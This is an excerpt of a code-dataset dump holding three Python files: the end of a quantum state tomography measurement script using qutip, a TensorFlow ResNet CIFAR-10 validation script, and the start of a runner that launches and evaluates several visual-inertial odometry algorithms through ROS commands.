lcc2Voltage0)\nprint(\"Counts for DV for Re(VV) = \", CDVVV, \"\\tNormalized to diagonal = \", 2*CDVVV/normconstant)\nprint(\"Counts for DV for Re(VV) = \", CDVVV, \"\\tNormalized to diagonal = \", 2*CDVVV/normconstant, file = outputFile)\nresultdata.update({\"CDVVVRaw\": CDVVV})\nCDVVV *=2\nresultdata.update({\"CDVVV\": CDVVV})\n\n#measurement of RV\nprint(\"Measuring RV for Im(HV)\")\nCRVHV= measure(rot1Angle270, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage270, lcc2Voltage0)\nprint(\"Counts for RV for Im(HV) = \", CRVHV, \"\\tNormalized to diagonal = \", 2*CRVHV/normconstant)\nprint(\"Counts for RV for Im(HV) = \", CRVHV, \"\\tNormalized to diagonal = \", 2*CRVHV/normconstant, file = outputFile)\nresultdata.update({\"CRVHVRaw\": CRVHV})\nCRVHV *=2\nresultdata.update({\"CRVHV\": CRVHV})\n\n#measurement of LV\n#input(\"Please block A path, unblock H, V, D, then press Enter\")\nprint(\"Measuring LV for Im(VV)\")\nCLVVV= measure(rot1Angle270, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage270, lcc2Voltage0)\nprint(\"Counts for LV for Im(VV) = \", CLVVV, \"\\tNormalized to diagonal = \", 2*CLVVV/normconstant)\nprint(\"Counts for LV for Im(VV) = \", CLVVV, \"\\tNormalized to diagonal = \", 2*CLVVV/normconstant, file = outputFile)\nresultdata.update({\"CLVVVRaw\": CLVVV})\nCLVVV *=2\nresultdata.update({\"CLVVV\": CLVVV})\n\n\n#measurement of VV\ninput(\"Please block V, A paths, unblock H, D, then press Enter\")\nprint(\"Measuring VV for Re(HV)\")\nCVVHV= measure(rot1Angle0, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for VV for Re(HV) = \", CVVHV, \"\\tNormalized to diagonal = \", 4*CVVHV/normconstant)\nprint(\"Counts for VV for Re(HV) = \", CVVHV, \"\\tNormalized to diagonal = \", 4*CVVHV/normconstant, file = outputFile)\nresultdata.update({\"CVVHVRaw\": CVVHV})\nCVVHV *=4\nresultdata.update({\"CVVHV\": CVVHV})\n\n#measurement of VV\n#input(\"Please block V, A paths, unblock H, D, then press Enter\")\nprint(\"Measuring VV for Re(HH)\")\nCVVHH= measure(rot1Angle0, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for VV for Re(HH) = \", CVVHH, \"\\tNormalized to diagonal = \", 4*CVVHH/normconstant)\nprint(\"Counts for VV for Re(HH) = \", CVVHH, \"\\tNormalized to diagonal = \", 4*CVVHH/normconstant, file = outputFile)\nresultdata.update({\"CVVHHRaw\": CVVHH})\nCVVHH *=4\nresultdata.update({\"CVVHH\": CVVHH})\n\n\n#measurement of VV\ninput(\"Please block H, A paths, unblock V, D, then press Enter\")\nprint(\"Measuring VV for Re(VH)\")\nCVVVH= measure(rot1Angle0, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for VV for Re(VH) = \", CVVVH, \"\\tNormalized to diagonal = \", 4*CVVVH/normconstant)\nprint(\"Counts for VV for Re(VH) = \", CVVVH, \"\\tNormalized to diagonal = \", 4*CVVVH/normconstant, file = outputFile)\nresultdata.update({\"CVVVHRaw\": CVVVH})\nCVVVH *=4\nresultdata.update({\"CVVVH\": CVVVH})\n\n#measurement of VV\n#input(\"Please block H, A paths, unblock V, D, then press Enter\")\nprint(\"Measuring VV for Re(VV)\")\nCVVVV= measure(rot1Angle0, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for VV for Re(VV) = \", CVVVV, \"\\tNormalized to diagonal = \", CVVVV/normconstant)\nprint(\"Counts for VV for Re(VV) = \", CVVVV, \"\\tNormalized to diagonal = \", CVVVV/normconstant, file = outputFile)\nresultdata.update({\"CVVVVRaw\": CVVVV})\nCVVVV *=4\nresultdata.update({\"CVVVV\": CVVVV})\n\n\n#measurement of VD\ninput(\"Please block H path, unblock V, A, D, then press Enter\")\nprint(\"Measuring VD for Re(VV)\")\nCVDVV= measure(rot1Angle0, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for VD for Re(VV) = \", CVDVV, \"\\tNormalized to diagonal = \", 2*CVDVV/normconstant)\nprint(\"Counts for VD for Re(VV) = \", CVDVV, \"\\tNormalized to diagonal = \", 2*CVDVV/normconstant, file = outputFile)\nresultdata.update({\"CVDVVRaw\": CVDVV})\nCVDVV *=2\nresultdata.update({\"CVDVV\": CVDVV})\n\n#measurement of VA\nprint(\"Measuring VA for Re(VH)\")\nCVAVH= measure(rot1Angle0, rot2Angle180, rotHWPAngle0, rotQWPAngle0, lcc1Voltage0, lcc2Voltage180)\nprint(\"Counts for AV for Re(VH) = \", CVAVH, \"\\tNormalized to diagonal = \", 2*CVAVH/normconstant)\nprint(\"Counts for AV for Re(VH) = \", CVAVH, \"\\tNormalized to diagonal = \", 2*CVAVH/normconstant, file = outputFile)\nresultdata.update({\"CVAVHRaw\": CVAVH})\nCVAVH *=2\nresultdata.update({\"CVAVH\": CVAVH})\n\n#measurement of VA\nprint(\"Measuring VA for Re(VV)\")\nCVAVV= measure(rot1Angle0, rot2Angle180, rotHWPAngle45, rotQWPAngle0, lcc1Voltage0, lcc2Voltage180)\nprint(\"Counts for AV for Re(VV) = \", CVAVV, \"\\tNormalized to diagonal = \", 2*CVAVV/normconstant)\nprint(\"Counts for AV for Re(VV) = \", CVAVV, \"\\tNormalized to diagonal = \", 2*CVAVV/normconstant, file = outputFile)\nresultdata.update({\"CVAVVRaw\": CVAVV})\nCVAVV *=2\nresultdata.update({\"CVAVV\": CVAVV})\n\n#measurement of VD\n#input(\"Please block H path, unblock V, A, D, then press Enter\")\nprint(\"Measuring VD for Re(VH)\")\nCVDVH=measure(rot1Angle0, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for VD for Re(VH) = \", CVDVH, \"\\tNormalized to diagonal = \", 2*CVDVH/normconstant)\nprint(\"Counts for VD for Re(VH) = \", CVDVH, \"\\tNormalized to diagonal = \", 2*CVDVH/normconstant, file = outputFile)\nresultdata.update({\"CVDVHRaw\": CVDVH})\nCVDVH *=2\nresultdata.update({\"CVDVH\": CVDVH})\n\n\n#measurement of VD\ninput(\"Please block V path, unblock H, A, D, then press Enter\")\nprint(\"Measuring VD for Re(HH)\")\nCVDHH= measure(rot1Angle0, rot2Angle0, rotHWPAngle45, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for VD for Re(HH) = \", CVDHH, \"\\tNormalized to diagonal = \", 2*CVDHH/normconstant)\nprint(\"Counts for VD for Re(HH) = \", CVDHH, \"\\tNormalized to diagonal = \", 2*CVDHH/normconstant, file = outputFile)\nresultdata.update({\"CVDHHRaw\": CVDHH})\nCVDHH *=2\nresultdata.update({\"CVDHH\": CVDHH})\n\n#measurement of VA\nprint(\"Measuring VA for Re(HV)\")\nCVAHV= measure(rot1Angle0, rot2Angle180, rotHWPAngle45, rotQWPAngle0, lcc1Voltage0, lcc2Voltage180)\nprint(\"Counts for AV for Re(HV) = \", CVAHV, \"\\tNormalized to diagonal = \", 2*CVAHV/normconstant)\nprint(\"Counts for AV for Re(HV) = \", CVAHV, \"\\tNormalized to diagonal = \", 2*CVAHV/normconstant, file = outputFile)\nresultdata.update({\"CVAHVRaw\": CVAHV})\nCVAHV *=2\nresultdata.update({\"CVAHV\": CVAHV})\n\n#measurement of VA\nprint(\"Measuring VA for Re(HH)\")\nCVAHH= measure(rot1Angle0, rot2Angle180, rotHWPAngle0, rotQWPAngle0, lcc1Voltage0, lcc2Voltage180)\nprint(\"Counts for AV for Re(HH) = \", CVAHH, \"\\tNormalized to diagonal = \", 2*CVAHH/normconstant)\nprint(\"Counts for AV for Re(HH) = \", CVAHH, \"\\tNormalized to diagonal = \", 2*CVAHH/normconstant, file = outputFile)\nresultdata.update({\"CVAHHRaw\": CVAHH})\nCVAHH *=2\nresultdata.update({\"CVAHH\": CVAHH})\n\n#measurement of VD\n#input(\"Please block V path, unblock H, A, D, then press Enter\")\nprint(\"Measuring VD for Re(HV)\")\nCVDHV= measure(rot1Angle0, rot2Angle0, rotHWPAngle0, rotQWPAngle0, lcc1Voltage0, lcc2Voltage0)\nprint(\"Counts for VD for Re(HV) = \", CVDHV, \"\\tNormalized to diagonal = \", 2*CVDHV/normconstant)\nprint(\"Counts for VD for Re(HV) = \", CVDHV, \"\\tNormalized to diagonal = \", 2*CVDHV/normconstant, file = outputFile)\nresultdata.update({\"CVDHVRaw\": CVDHV})\nCVDHV *=2\nresultdata.update({\"CVDHV\": CVDHV})\n\n\n#extraction of result\nrerhoHH=((CDVHH-CAVHH)+(CVDHH-CVAHH)+2*CVVHH)/normconstant\nimrhoHH=(CLVHH-CRVHH)/normconstant\nrerhoHV=((CDVHV-CAVHV)+(CVDHV-CVAHV)+2*CVVHV)/normconstant\nimrhoHV=(CLVHV-CRVHV)/normconstant\nrerhoVH=((CDVVH-CAVVH)+(CVDVH-CVAVH)+2*CVVVH)/normconstant\nimrhoVH=(CLVVH-CRVVH)/normconstant\nrerhoVV=((CDVVV-CAVVV)+(CVDVV-CVAVV)+2*CVVVV)/normconstant\nimrhoVV=(CLVVV-CRVVV)/normconstant\n\nprint(\"\\n\\n\\n\")\nprint(\"\\n\\n\\n\", file = outputFile)\n \nprint(\"Finished all measurements\\n\\n\")\n\nprint(\"\\n\\n\\n\")\nprint(\"\\n\\n\\n\", file = outputFile)\n\nresult=qutip.Qobj([[rerhoHH+imrhoHH*1j , rerhoHV+imrhoHV*1j],[rerhoVH+imrhoVH*1j, rerhoVV+imrhoVV*1j]])\nresquad=result**2\npurity= resquad.tr()\n\n#save qobjs\nqutip.qsave([result, resquad], outputfilename[:-4])\n\njsonfilename=outputfilename[:-4]+\".json\"\nwith open(jsonfilename, 'w') as outfile:\n json.dump(resultdata, outfile)\n\n#output of final results\nprint(\"Final result\")\nprint(\"Result = \", result)\nprint(\"Resquad = \", resquad)\nprint(\"Purity (as trace of resquad) = \", purity)\n\nprint(\"The following results are obtained using the diagonal measurements for normalization\", file = outputFile)\nprint(\"Corrected normalization constant = {0}\".format(normconstant), file = outputFile)\nprint(\"rerhoHH = {0}\".format(rerhoHH), file = outputFile)\nprint(\"imrhoHH = {0}\".format(imrhoHH), file = outputFile)\nprint(\"\\nrerhoHV = {0}\".format(rerhoHV), file = outputFile)\nprint(\"\\nimrhoHV = {0}\".format(imrhoHV), file = outputFile)\nprint(\"\\nrerhoVH = {0}\".format(rerhoVH), file = outputFile)\nprint(\"\\nimrhoVH = {0}\".format(imrhoVH), file = outputFile)\nprint(\"\\nrerhoVV = {0}\".format(rerhoVV), file = outputFile)\nprint(\"\\nimrhoVV = {0}\".format(imrhoVV), file = outputFile)\nprint(\"\\nresult = \", result, file = outputFile)\nprint(\"\\nresquad = \", resquad, file = outputFile)\nprint(\"\\npurity = \", purity, file = outputFile)\n","sub_path":"DSTPrograms/ScriptTekkCorrection.py","file_name":"ScriptTekkCorrection.py","file_ext":"py","file_size_in_byte":21831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"647757577","text":"from __future__ import division\n\nimport sys\nimport os\nimport time\nimport math\nimport ipdb\nfrom datetime import datetime\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.python import control_flow_ops\nimport joblib\n\nimport model_resnet as m\n\n\nFLAGS = tf.app.flags.FLAGS\ntf.app.flags.DEFINE_string('load_dir', '', '')\ntf.app.flags.DEFINE_integer('residual_net_n', 7, '')\ntf.app.flags.DEFINE_string('train_tf_path', '../data/cifar10/train.tf', '')\ntf.app.flags.DEFINE_string('val_tf_path', '../data/cifar10/test.tf', '')\ntf.app.flags.DEFINE_integer('train_batch_size', 128, '')\ntf.app.flags.DEFINE_integer('val_batch_size', 100, '')\ntf.app.flags.DEFINE_float('weight_decay', 1e-4, 'Weight decay')\ntf.app.flags.DEFINE_integer('summary_interval', 100, 'Interval for summary.')\ntf.app.flags.DEFINE_integer('val_interval', 1000, 'Interval for evaluation.')\ntf.app.flags.DEFINE_integer(\n 'max_steps', 64000, 'Maximum number of iterations.')\ntf.app.flags.DEFINE_string(\n 'log_dir', '../logs_cifar10/log_%s' % time.strftime(\"%Y%m%d_%H%M%S\"), '')\ntf.app.flags.DEFINE_integer('save_interval', 5000, '')\ntf.app.flags.DEFINE_string('restore_path', '/home/jrmei/research/tf_resnet_cifar/logs_cifar10/log_20160124_202605/checkpoint-499', 'the checkpoint to be restored')\n\n\ndef train_and_val():\n with tf.Graph().as_default():\n # train/test phase indicator\n phase_train = tf.placeholder(tf.bool, name='phase_train')\n\n # learning rate is manually set\n learning_rate = tf.placeholder(tf.float32, name='learning_rate')\n\n # global step\n global_step = tf.Variable(0, trainable=False, name='global_step')\n\n # train/test inputs\n train_image_batch, train_label_batch = m.make_train_batch(\n FLAGS.train_tf_path, FLAGS.train_batch_size)\n val_image_batch, val_label_batch = m.make_validation_batch(\n FLAGS.val_tf_path, FLAGS.val_batch_size)\n image_batch, label_batch = control_flow_ops.cond(phase_train,\n lambda: (\n train_image_batch, train_label_batch),\n lambda: (val_image_batch, val_label_batch))\n\n # model outputs\n logits = m.residual_net(\n image_batch, FLAGS.residual_net_n, 10, phase_train)\n\n # total loss\n m.loss(logits, label_batch)\n loss = tf.add_n(tf.get_collection('losses'), name='total_loss')\n m.summary_losses()\n accuracy = m.accuracy(logits, label_batch)\n tf.scalar_summary('train_loss', loss)\n tf.scalar_summary('train_accuracy', accuracy)\n\n # saver\n saver = tf.train.Saver(tf.all_variables())\n\n # start session\n sess = tf.Session(config=tf.ConfigProto(log_device_placement=False))\n\n # summary\n for var in tf.trainable_variables():\n tf.histogram_summary('params/' + var.op.name, var)\n\n init_op = tf.initialize_all_variables()\n if FLAGS.restore_path is None:\n # initialization\n print('Initializing...')\n sess.run(init_op, {phase_train.name: True})\n else:\n # restore from previous checkpoint\n sess.run(init_op, {phase_train.name: True})\n print('Restore variable from %s' % FLAGS.restore_path)\n saver.restore(sess, FLAGS.restore_path)\n\n # train loop\n tf.train.start_queue_runners(sess=sess)\n\n n_samples = 10000\n batch_size = FLAGS.val_batch_size\n n_iter = int(np.floor(n_samples / batch_size))\n accuracies = []\n losses = []\n for step in xrange(n_iter):\n fetches = [loss, accuracy]\n val_loss, val_acc = sess.run(\n fetches, {phase_train.name: False})\n losses.append(val_loss)\n accuracies.append(val_acc)\n print('[%s] Iteration %d, val loss = %f, val accuracy = %f' %\n (datetime.now(), step, val_loss, val_acc))\n\n val_acc = np.mean(accuracies)\n val_loss = np.mean(losses)\n\n print('val losses is %f, accuracy is %f' % (val_loss, val_acc))\n\n\nif __name__ == '__main__':\n train_and_val()\n","sub_path":"src/val.py","file_name":"val.py","file_ext":"py","file_size_in_byte":4240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"274432093","text":"import os\nimport shutil\nimport textwrap\nimport warnings\n\nimport dataset_parameters\n\nimport dir_utility_functions\nimport rosbag_utility_functions\nimport rpg_eval_tool_wrap\nimport utility_functions\n\nimport AlgoConfig\nimport VioConfigComposer\nimport RoscoreManager\n\n\ndef timeout(bag_fullname):\n bag_duration = rosbag_utility_functions.get_rosbag_duration(bag_fullname)\n time_out = bag_duration * 4\n time_out = max(60 * 5, time_out)\n return time_out\n\n\ndef append_ros_arg_if_exist(config_dict, parameter):\n if parameter in config_dict:\n return \" {}:={}\".format(parameter, config_dict[parameter])\n else:\n return \"\"\n\n\nclass RunOneVioMethod(object):\n \"\"\"Run one vio method on a number of data missions\"\"\"\n def __init__(self, catkin_ws, vio_config_template,\n algo_code_flags,\n num_trials, bag_list, gt_list,\n vio_output_dir_list, extra_library_path='',\n lcd_config_template='',\n voc_file = ''):\n \"\"\"\n :param catkin_ws: workspace containing executables\n :param vio_config_template: the template config yaml for running this algorithm.\n New config yaml will be created for each data mission considering the\n sensor calibration parameters. It can be an empty string if not needed.\n :param algo_code_flags: {algo_code, algo_cmd_flags, numkeyframes, numImuFrames, }\n :param num_trials:\n :param bag_list:\n :param gt_list: If not None, gt files will be copied to proper locations for evaluation.\n :param vio_output_dir_list: list of dirs to put the estimation results for every data mission.\n :param extra_library_path: It is necessary when some libraries cannot be found.\n \"\"\"\n\n self.catkin_ws = catkin_ws\n self.vio_config_template = vio_config_template\n self.lcd_config_template = lcd_config_template\n self.voc_file = voc_file\n self.algo_code_flags = algo_code_flags\n self.num_trials = num_trials\n self.bag_list = bag_list\n self.gt_list = gt_list\n self.output_dir_list = vio_output_dir_list\n self.algo_dir = os.path.dirname(vio_output_dir_list[0].rstrip('/'))\n self.eval_cfg_template = os.path.join(\n os.path.dirname(os.path.abspath(__file__)), \"config/eval_cfg.yaml\")\n self.extra_lib_path = extra_library_path\n\n def get_sync_exe(self):\n return os.path.join(self.catkin_ws, \"devel/lib/swift_vio/swift_vio_node_synchronous\")\n\n def get_async_launch_file(self):\n return os.path.join(self.catkin_ws, \"src/swift_vio/launch/swift_vio_node_rosbag.launch\")\n\n def create_vio_config_yaml(self, output_dir_mission):\n \"\"\"for each data mission, create a vio config yaml\"\"\"\n if not os.path.isfile(self.vio_config_template):\n return \"\"\n vio_yaml_mission = os.path.join(output_dir_mission, os.path.basename(self.vio_config_template))\n shutil.copy2(self.vio_config_template, vio_yaml_mission)\n\n # apply algorithm parameters\n AlgoConfig.apply_config_to_yaml(self.algo_code_flags, vio_yaml_mission, output_dir_mission)\n return vio_yaml_mission\n\n def create_lcd_config_yaml(self, output_dir_mission):\n \"\"\"for each data mission, create a lcd config yaml\"\"\"\n if self.lcd_config_template:\n lcd_yaml_mission = os.path.join(output_dir_mission, os.path.basename(self.lcd_config_template))\n shutil.copy2(self.lcd_config_template, lcd_yaml_mission)\n AlgoConfig.apply_config_to_lcd_yaml(\n self.algo_code_flags, lcd_yaml_mission, output_dir_mission)\n return lcd_yaml_mission\n else:\n return None\n\n def create_sync_command(self, custom_vio_config, custom_lcd_config,\n vio_trial_output_dir, bag_fullname, dataset_code):\n \"\"\"create synchronous commands for estimators in swift vio.\"\"\"\n if dataset_code in dataset_parameters.ROS_TOPICS.keys():\n arg_topics = r'--camera_topics=\"{},{}\" --imu_topic={}'.format(\n dataset_parameters.ROS_TOPICS[dataset_code][0],\n dataset_parameters.ROS_TOPICS[dataset_code][1],\n dataset_parameters.ROS_TOPICS[dataset_code][2])\n else:\n arg_topics = r'--camera_topics=\"/cam0/image_raw\" --imu_topic=/imu0'\n\n export_lib_cmd = \"\"\n if self.extra_lib_path:\n export_lib_cmd = \"export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:{};\".format(self.extra_lib_path)\n verbose_leak_sanitizer = True\n if verbose_leak_sanitizer:\n export_lib_cmd += \"export ASAN_OPTIONS=fast_unwind_on_malloc=0;\"\n\n cmd = \"{} {} --lcd_params_yaml={} --output_dir={}\" \\\n \" --max_inc_tol=30.0 --dump_output_option=3\" \\\n \" --bagname={} --vocabulary_path={} {} {}\".format(\n self.get_sync_exe(), custom_vio_config, custom_lcd_config,\n vio_trial_output_dir,\n bag_fullname, self.voc_file, arg_topics,\n self.algo_code_flags[\"extra_gflags\"])\n return export_lib_cmd + cmd\n\n def create_async_command(self, custom_vio_config,\n custom_lcd_config,\n vio_trial_output_dir, bag_fullname, dataset_code):\n \"\"\"create asynchronous commands for estimators in swift vio.\"\"\"\n setup_bash_file = os.path.join(self.catkin_ws, \"devel/setup.bash\")\n src_cmd = \"cd {}\\nsource {}\\n\".format(self.catkin_ws, setup_bash_file)\n\n launch_file = \"swift_vio_node_rosbag.launch\"\n arg_topics = \"image_topic:={} image_topic1:={} imu_topic:={}\".format(\n dataset_parameters.ROS_TOPICS[dataset_code][0],\n dataset_parameters.ROS_TOPICS[dataset_code][1],\n dataset_parameters.ROS_TOPICS[dataset_code][2])\n\n export_lib_cmd = \"export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:{}\\n\".\\\n format(self.extra_lib_path)\n launch_cmd = \"roslaunch swift_vio {} config_filename:={} lcd_config_filename:={} \" \\\n \"output_dir:={} {} bag_file:={} start_into_bag:=3 play_rate:=1.0\".format(\n launch_file, custom_vio_config, custom_lcd_config, vio_trial_output_dir,\n arg_topics, bag_fullname)\n cmd = src_cmd + export_lib_cmd + launch_cmd\n\n # We put all commands in a bash script because source\n # command is unavailable when running in python subprocess.\n src_wrap = os.path.join(vio_trial_output_dir, \"source_wrap.sh\")\n with open(src_wrap, 'w') as stream:\n stream.write('#!/bin/bash\\n')\n stream.write('{}\\n'.format(cmd))\n return \"chmod +x {wrap};{wrap}\".format(wrap=src_wrap)\n\n def create_vio_command(self, algo_name, dataset_code, bag_fullname,\n custom_vio_config, custom_lcd_config, output_dir_trial):\n \"\"\"create vio command for a variety of estimator depending on the algo_code\"\"\"\n if self.algo_code_flags[\"algo_code\"] == \"VINSMono\":\n setup_bash_file = os.path.join(self.catkin_ws, \"devel/setup.bash\")\n src_cmd = \"cd {}\\nsource {}\\n\".format(self.catkin_ws, setup_bash_file)\n exe_cmd = \"roslaunch vins_estimator {} config_path:={} output_dir:={} \" \\\n \"bag_file:={} bag_start:=0 bag_duration:=10000 \" \\\n \"rviz_file:={}/src/VINS-Mono/config/vins_rviz_config.rviz\".format(\n self.algo_code_flags[\"launch_file\"], custom_vio_config,\n output_dir_trial, bag_fullname, self.catkin_ws)\n cmd = src_cmd + exe_cmd\n\n # We put all commands in a bash script because source\n # command is unavailable when running in python subprocess.\n src_wrap = os.path.join(output_dir_trial, \"source_wrap.sh\")\n with open(src_wrap, 'w') as stream:\n stream.write('#!/bin/bash\\n')\n stream.write('{}\\n'.format(cmd))\n return \"chmod +x {wrap};{wrap}\".format(wrap=src_wrap)\n elif self.algo_code_flags[\"algo_code\"] == \"OpenVINS\":\n setup_bash_file = os.path.join(self.catkin_ws, \"devel/setup.bash\")\n src_cmd = \"cd {}\\nsource {}\\n\".format(self.catkin_ws, setup_bash_file)\n if \"bag_start\" in self.algo_code_flags:\n bag_start = self.algo_code_flags[\"bag_start\"]\n else:\n bag_start = dataset_parameters.decide_bag_start(self.algo_code_flags[\"algo_code\"], bag_fullname)\n if \"init_imu_thresh\" in self.algo_code_flags:\n init_imu_thresh = self.algo_code_flags[\"init_imu_thresh\"]\n else:\n init_imu_thresh = dataset_parameters.decide_initial_imu_threshold(\n self.algo_code_flags[\"algo_code\"], bag_fullname)\n result_file = os.path.join(output_dir_trial, 'stamped_traj_estimate.txt')\n state_file = os.path.join(output_dir_trial, 'state_estimate.txt')\n std_file = os.path.join(output_dir_trial, 'state_deviation.txt')\n exe_cmd = \"roslaunch ov_msckf {} max_cameras:={} use_stereo:={} bag:={} \" \\\n \"bag_start:={} init_imu_thresh:={} dosave:=true dosave_state:=true \" \\\n \"path_est:={} path_state_est:={} path_state_std:={}\".format(\n self.algo_code_flags[\"launch_file\"], self.algo_code_flags[\"max_cameras\"],\n self.algo_code_flags[\"use_stereo\"], bag_fullname,\n bag_start, init_imu_thresh, result_file, state_file, std_file)\n exe_cmd += append_ros_arg_if_exist(self.algo_code_flags, \"gyroscope_noise_density\")\n exe_cmd += append_ros_arg_if_exist(self.algo_code_flags, \"gyroscope_random_walk\")\n exe_cmd += append_ros_arg_if_exist(self.algo_code_flags, \"accelerometer_noise_density\")\n exe_cmd += append_ros_arg_if_exist(self.algo_code_flags, \"accelerometer_random_walk\")\n exe_cmd += append_ros_arg_if_exist(self.algo_code_flags, \"calib_cam_extrinsics\")\n exe_cmd += append_ros_arg_if_exist(self.algo_code_flags, \"calib_cam_intrinsics\")\n exe_cmd += append_ros_arg_if_exist(self.algo_code_flags, \"calib_cam_timeoffset\")\n exe_cmd += append_ros_arg_if_exist(self.algo_code_flags, \"max_slam\")\n exe_cmd += append_ros_arg_if_exist(self.algo_code_flags, \"max_slam_in_update\")\n exe_cmd += append_ros_arg_if_exist(self.algo_code_flags, \"use_klt\")\n\n cmd = src_cmd + exe_cmd\n # We put all commands in a bash script because source\n # command is unavailable when running in python subprocess.\n src_wrap = os.path.join(output_dir_trial, \"source_wrap.sh\")\n with open(src_wrap, 'w') as stream:\n stream.write('#!/bin/bash\\n')\n stream.write('{}\\n'.format(cmd))\n return \"chmod +x {wrap};{wrap}\".format(wrap=src_wrap)\n elif self.algo_code_flags[\"algo_code\"] == \"MSCKFMono\":\n setup_bash_file = os.path.join(self.catkin_ws, \"devel/setup.bash\")\n src_cmd = \"cd {}\\nsource {}\\n\".format(self.catkin_ws, setup_bash_file)\n result_file = os.path.join(output_dir_trial, 'stamped_traj_estimate.txt')\n\n exe_cmd = \"roslaunch msckf_mono {} bagname:={} dosave:=true path_est:={} show_rviz:=true\".format(\n self.algo_code_flags[\"launch_file\"], bag_fullname, result_file)\n exe_cmd += dataset_parameters.msckf_mono_arg_of_dataset(bag_fullname)\n\n cmd = src_cmd + exe_cmd\n src_wrap = os.path.join(output_dir_trial, \"source_wrap.sh\")\n with open(src_wrap, 'w') as stream:\n stream.write('#!/bin/bash\\n')\n stream.write('{}\\n'.format(cmd))\n return \"chmod +x {wrap};{wrap}\".format(wrap=src_wrap)\n elif self.algo_code_flags[\"algo_code\"] == \"ROVIO\":\n setup_bash_file = os.path.join(self.catkin_ws, \"devel/setup.bash\")\n src_cmd = \"cd {}\\nsource {}\\n\".format(self.catkin_ws, setup_bash_file)\n result_basename = os.path.join(output_dir_trial, 'stamped_traj_estimate')\n\n exe_cmd = \"roslaunch rovio {} bagname:={} numcameras:={} filename_out:={}\".format(\n self.algo_code_flags[\"launch_file\"], bag_fullname, self.algo_code_flags[\"numcameras\"], result_basename)\n exe_cmd += dataset_parameters.rovio_mono_arg_of_dataset(bag_fullname)\n\n cmd = src_cmd + exe_cmd\n src_wrap = os.path.join(output_dir_trial, \"source_wrap.sh\")\n with open(src_wrap, 'w') as stream:\n stream.write('#!/bin/bash\\n')\n stream.write('{}\\n'.format(cmd))\n return \"chmod +x {wrap};{wrap}\".format(wrap=src_wrap)\n elif 'async' in algo_name:\n return self.create_async_command(custom_vio_config, custom_lcd_config,\n output_dir_trial, bag_fullname, dataset_code)\n else:\n return self.create_sync_command(custom_vio_config, custom_lcd_config,\n output_dir_trial, bag_fullname, dataset_code)\n\n @staticmethod\n def run_vio_command(cmd, bag_fullname, log_vio, out_stream, err_stream):\n user_msg = 'Running vio method with cmd\\n{}\\n'.format(cmd)\n print(textwrap.fill(user_msg, 120))\n out_stream.write(user_msg)\n time_out = timeout(bag_fullname)\n if log_vio:\n rc, msg = utility_functions.subprocess_cmd(cmd, out_stream, err_stream, time_out)\n else:\n rc, msg = utility_functions.subprocess_cmd(cmd, None, None, time_out)\n return rc, msg\n\n def create_convert_command(self, output_dir_mission, output_dir_trial, index_str, pose_conversion_script):\n if self.algo_code_flags[\"algo_code\"] == \"VINSMono\":\n vio_estimate_csv = os.path.join(output_dir_trial, 'vins_result_no_loop.csv')\n converted_vio_file = os.path.join(\n output_dir_mission, \"stamped_traj_estimate{}.txt\".format(index_str))\n cmd = \"chmod +x {};python3 {} {} {}\".format(pose_conversion_script, pose_conversion_script,\n vio_estimate_csv, converted_vio_file)\n elif self.algo_code_flags[\"algo_code\"] in [\"OpenVINS\", \"MSCKFMono\"]:\n result_file = os.path.join(output_dir_trial, 'stamped_traj_estimate.txt')\n converted_vio_file = os.path.join(\n output_dir_mission, \"stamped_traj_estimate{}.txt\".format(index_str))\n cmd = \"chmod +x {};python3 {} {} {}\".format(pose_conversion_script, pose_conversion_script,\n result_file, converted_vio_file)\n elif self.algo_code_flags[\"algo_code\"] == \"ROVIO\":\n result_file = os.path.join(output_dir_trial, 'stamped_traj_estimate.bag')\n converted_vio_file = os.path.join(\n output_dir_mission, \"stamped_traj_estimate{}.txt\".format(index_str))\n cmd = \"chmod +x {};python {} {} /rovio/odometry --msg_type Odometry --output {}\".format(\n pose_conversion_script, pose_conversion_script,\n result_file, converted_vio_file)\n else:\n vio_estimate_csv = os.path.join(output_dir_trial, 'swift_vio.csv')\n converted_vio_file = os.path.join(\n output_dir_mission, \"stamped_traj_estimate{}.txt\".format(index_str))\n cmd = \"python3 {} {} --outfile={} --output_delimiter=' '\". \\\n format(pose_conversion_script, vio_estimate_csv, converted_vio_file)\n return cmd\n\n @staticmethod\n def run_convert_command(cmd, out_stream, err_stream):\n user_msg = 'Converting pose file with cmd\\n{}\\n'.format(cmd)\n print(textwrap.fill(user_msg, 120))\n out_stream.write(user_msg)\n utility_functions.subprocess_cmd(cmd, out_stream, err_stream)\n out_stream.close()\n err_stream.close()\n\n def run_method(self, algo_name, pose_conversion_script,\n gt_align_type='posyaw', log_vio=True, dataset_code=\"euroc\"):\n '''\n run a method\n :return:\n '''\n # if algo_name has async, then the async script will start roscore, and no need to start it here.\n mock = 'async' in algo_name or (not AlgoConfig.doWePublishViaRos(self.algo_code_flags))\n roscore_manager = RoscoreManager.RosCoreManager(mock)\n roscore_manager.start_roscore()\n return_code = 0\n for bag_index, bag_fullname in enumerate(self.bag_list):\n output_dir_mission = self.output_dir_list[bag_index]\n gt_file = os.path.join(output_dir_mission, 'stamped_groundtruth.txt')\n if self.gt_list:\n shutil.copy2(self.gt_list[bag_index], gt_file)\n eval_config_file = os.path.join(output_dir_mission, 'eval_cfg.yaml')\n shutil.copy2(self.eval_cfg_template, eval_config_file)\n 